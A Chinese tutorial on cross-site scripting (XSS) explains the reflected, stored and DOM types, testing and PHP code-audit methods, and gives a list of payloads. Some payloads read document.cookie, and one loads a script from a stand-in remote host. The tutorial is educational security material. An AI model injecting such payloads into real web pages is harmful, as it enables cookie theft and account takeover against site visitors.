
XSS漏洞介绍与防御(上)
1.定义:
跨站脚本攻击即 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者向Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
2.分类
XSS 攻击通常针对的是用户层面的攻击。
XSS 分为:反射型 XSS、存储型 XSS、DOM 型 XSS。
反射型 XSS
具体攻击流程如下:
1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);
2、用户点击该恶意链接;
3、web 服务将 XSS 代码(JavaScript 代码)以及视图返回给客户端;
4、客户端解析视图以及 XSS 代码(JavaScript 代码),并将执行结果发送到 XSS 平台;
5、攻击者访问 XSS 平台,读取用户的敏感信息(Cookie)。
存储型 XSS
具体攻击流程如下:
1、攻击者向 web 服务插入 XSS 代码;
2、web 服务会将其结果存储到数据库中;
3、用户正常访问 web 服务;
4、web 服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意 XSS 代码(JavaScript 代码);
5、客户端渲染视图,加载 XSS 代码,并向攻击者的 web 服务发送敏感信息;
6、攻击者读取用户的敏感信息。
DOM 型 XSS
具体攻击流程如下:
1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);
2、用户点击恶意链接,并打开浏览器;
3、此时浏览器客户端并不会发起 http 请求到 web 服务,而是在浏览器客户端执行 XSS(JavaScript 代码) ;
4、此时将 XSS 代码执行结果发送给攻击者的恶意服务;
5、攻击者访问自己的 XSS 平台并读取用户的敏感信息。
二、XSS特征
三、XSS与CSRF的区别
四、XSS攻击面
XSS 主要是攻击客户端浏览器,但是客户端浏览器侧的 JavaScript 并不像 Node.js 这种后端 JavaScript 代码可以执行命令,那么 XSS 只能用来弹窗测试吗?实际上并不是这样的,如果你的 JavaScript 代码能力很强,那么可以钓鱼、窃取 Cookie、令牌、攻击浏览器(2021 年 4 月 Chrome 0 Day)、蠕虫攻击、挂黑页(放广告刷流量)、内网探测(针对 HTTP,websocket)等等。
1、黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
URL 的每一个参数
URL 本身
表单
搜索框
常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
存在风险:搜索框、当前目录、图片属性等
2、白盒测试(代码审计)
关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP 中常见的接收参数的方式有 _POST、$_REQUEST 等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,再看输出到页面中的数据是否进行了过滤和 html 编码等处理。
也可以搜索类似 echo 这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。同理审计 DOM 型注入可以搜索一些 js 操作 DOM 元素的关键词进行审计。
五、XSS相关payload
xss 主要是针对浏览器客户端的一种攻击,那么需要执行 JavaScript 代码,那么无疑需要使用到 JavaScript 语言以及在 HTML 中可以加载 JavaScript 的标签。
1、标签类
script
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
svg
标签是标记定义 SVG 图形的容器,其在 onload 方法中是在 SVG 容器初始化的时候执行代码。
<svg onload="alert(1)">
<svg onload="alert(1)">
img
标签是加载图片资源的标签,其在无法加载图片资源的时候会执行 onerror 方法。
<img src=1 οnerrοr=alert("/xss/")>
<img src=1 οnerrοr=alert(document.cookie)>
<img src="正确图片地址" onload="alert(/xss/)" />
body
是定义 HTML 文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等)。<body onload=alert(/xss/)>
<body onpageshow=alert(1)>
video
标签是引用远程媒体视频的标签,用法与 img 类似。
<video onerror="alert(/xss/)" src="1"/>
style
标签是加载 CSS 资源的标签。<style οnlοad=alert(1)></style>
2、表单类
在 web 中,最常见的为表单了,表单中的标签有\在这里更多的是闭合语句来构成 XSS ,比如:
"/><script>alert(/xss/)</script>
></textarea><script>alert(/xss/)</script>
...
3、事件类
在 HTML 中有许多事件操作的方法(DOM 事件),如 onclick 事件、ondblclick 事件等等,只需要用户点击,或者双击也可以执行 JavaScript 代码,在这里就需要闭合,在块级元素中添加事件方法。常见的 DOM 事件方法如下:
1.鼠标事件
2.键盘事件
3.框架/对象(Frame/Object)事件
4.表单事件
5.剪贴板事件
6.打印事件
7.拖动事件
8.多媒体(Media)事件
9.动画事件
10.过渡事件
11.其他事件